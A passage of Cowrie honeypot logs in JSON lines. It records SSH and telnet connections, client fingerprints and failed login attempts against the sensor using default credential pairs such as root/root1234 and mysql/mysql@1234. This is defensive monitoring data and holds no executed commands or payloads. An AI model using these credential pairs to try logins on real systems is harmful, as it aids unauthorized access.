8-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:55.773451Z","src_ip":"45.153.34.114","session":"6a46558b836f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yealink","password":"yealink","message":"login attempt [yealink/yealink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:56.045025Z","src_ip":"45.153.34.114","session":"6a46558b836f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:56.621783Z","src_ip":"103.75.199.4","session":"6fe3d4c6deaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.155994176864624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:57.032416Z","src_ip":"74.91.213.120","session":"1bd68e3ee74e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:57.136475Z","src_ip":"45.153.34.114","session":"6a46558b836f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.47435474395752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:13:59.820594Z","src_ip":"74.91.213.120","session":"e2209eb2ea49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":36076,"dst_ip":"159.203.135.109","dst_port":23,"session":"2167426b48e5","protocol":"telnet","message":"New connection: 74.91.213.120:36076 (159.203.135.109:23) [session: 2167426b48e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:01.045252Z"}
{"eventid":"cowrie.session.closed","duration":31.152265071868896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:03.471800Z","src_ip":"74.91.213.120","session":"d18f553ca5fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.169385194778442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:03.484284Z","src_ip":"74.91.213.120","session":"1e5af21a998f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58794,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea8ee8675e83","protocol":"ssh","message":"New connection: 45.153.34.114:58794 (159.203.135.109:22) [session: ea8ee8675e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:03.843600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:03.849180Z","src_ip":"45.153.34.114","session":"ea8ee8675e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:03.933467Z","src_ip":"45.153.34.114","session":"ea8ee8675e83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:04.307024Z","src_ip":"45.153.34.114","session":"ea8ee8675e83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":36078,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d84b87c56f4","protocol":"telnet","message":"New connection: 74.91.213.120:36078 (159.203.135.109:23) [session: 5d84b87c56f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:05.016802Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:05.392563Z","src_ip":"45.153.34.114","session":"ea8ee8675e83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":34496,"dst_ip":"159.203.135.109","dst_port":23,"session":"af572ca96669","protocol":"telnet","message":"New connection: 74.91.213.120:34496 (159.203.135.109:23) [session: af572ca96669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:09.304491Z"}
{"eventid":"cowrie.session.closed","duration":31.150989770889282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:09.418160Z","src_ip":"74.91.213.120","session":"cab235b5d89e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":34506,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a9dc375d504","protocol":"telnet","message":"New connection: 74.91.213.120:34506 (159.203.135.109:23) [session: 8a9dc375d504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:09.575527Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51286,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cebed839b6a","protocol":"ssh","message":"New connection: 45.153.34.114:51286 (159.203.135.109:22) [session: 2cebed839b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:11.738635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:11.743482Z","src_ip":"45.153.34.114","session":"2cebed839b6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:11.837115Z","src_ip":"45.153.34.114","session":"2cebed839b6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:12.233365Z","src_ip":"45.153.34.114","session":"2cebed839b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1339910030365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:12.407669Z","src_ip":"74.91.213.120","session":"08af8637027d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:13.319649Z","src_ip":"45.153.34.114","session":"2cebed839b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.20754075050354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:14.516408Z","src_ip":"74.91.213.120","session":"a134a2ab66e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.139014720916748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:16.595305Z","src_ip":"74.91.213.120","session":"31d226b79448","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":39048,"dst_ip":"159.203.135.109","dst_port":22,"session":"37741c6139e8","protocol":"ssh","message":"New connection: 103.75.199.4:39048 (159.203.135.109:22) [session: 37741c6139e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:17.045627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:17.050812Z","src_ip":"103.75.199.4","session":"37741c6139e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:17.142255Z","src_ip":"103.75.199.4","session":"37741c6139e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:17.419368Z","src_ip":"103.75.199.4","session":"37741c6139e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:18.513648Z","src_ip":"103.75.199.4","session":"37741c6139e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59220,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a7ab14648e4","protocol":"ssh","message":"New connection: 45.153.34.114:59220 (159.203.135.109:22) [session: 4a7ab14648e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:19.816273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:19.821257Z","src_ip":"45.153.34.114","session":"4a7ab14648e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:19.906281Z","src_ip":"45.153.34.114","session":"4a7ab14648e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:20.159517Z","src_ip":"45.153.34.114","session":"4a7ab14648e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.133912801742554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:20.332140Z","src_ip":"74.91.213.120","session":"c419dd2f0170","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15642285346985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:20.649731Z","src_ip":"74.91.213.120","session":"6b3e1f4c8a6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:21.245519Z","src_ip":"45.153.34.114","session":"4a7ab14648e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.384169816970825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:22.307479Z","src_ip":"74.91.213.120","session":"fb4224baaf6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":47052,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff6d9012b0c8","protocol":"telnet","message":"New connection: 74.91.213.120:47052 (159.203.135.109:23) [session: ff6d9012b0c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:23.373269Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59236,"dst_ip":"159.203.135.109","dst_port":22,"session":"715a97c8ae40","protocol":"ssh","message":"New connection: 45.153.34.114:59236 (159.203.135.109:22) [session: 715a97c8ae40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:27.783706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:27.788880Z","src_ip":"45.153.34.114","session":"715a97c8ae40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:27.873150Z","src_ip":"45.153.34.114","session":"715a97c8ae40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:28.130720Z","src_ip":"45.153.34.114","session":"715a97c8ae40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:29.221155Z","src_ip":"45.153.34.114","session":"715a97c8ae40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":43780,"dst_ip":"159.203.135.109","dst_port":23,"session":"45d1c5118c18","protocol":"telnet","message":"New connection: 74.91.213.120:43780 (159.203.135.109:23) [session: 45d1c5118c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:31.608656Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":43768,"dst_ip":"159.203.135.109","dst_port":23,"session":"5066df6a4438","protocol":"telnet","message":"New connection: 74.91.213.120:43768 (159.203.135.109:23) [session: 5066df6a4438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:31.629778Z"}
{"eventid":"cowrie.session.closed","duration":31.16093111038208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:32.206077Z","src_ip":"74.91.213.120","session":"2167426b48e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.416221380233765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:35.432901Z","src_ip":"74.91.213.120","session":"5d84b87c56f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40384,"dst_ip":"159.203.135.109","dst_port":22,"session":"11117e6ab711","protocol":"ssh","message":"New connection: 45.153.34.114:40384 (159.203.135.109:22) [session: 11117e6ab711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:36.251069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:36.255803Z","src_ip":"45.153.34.114","session":"11117e6ab711","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:36.343440Z","src_ip":"45.153.34.114","session":"11117e6ab711","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stream","password":"stream","message":"login attempt [stream/stream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:36.595433Z","src_ip":"45.153.34.114","session":"11117e6ab711","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33316,"dst_ip":"159.203.135.109","dst_port":23,"session":"447755a82b5d","protocol":"telnet","message":"New connection: 74.91.213.120:33316 (159.203.135.109:23) [session: 447755a82b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:14:37.640311Z"}
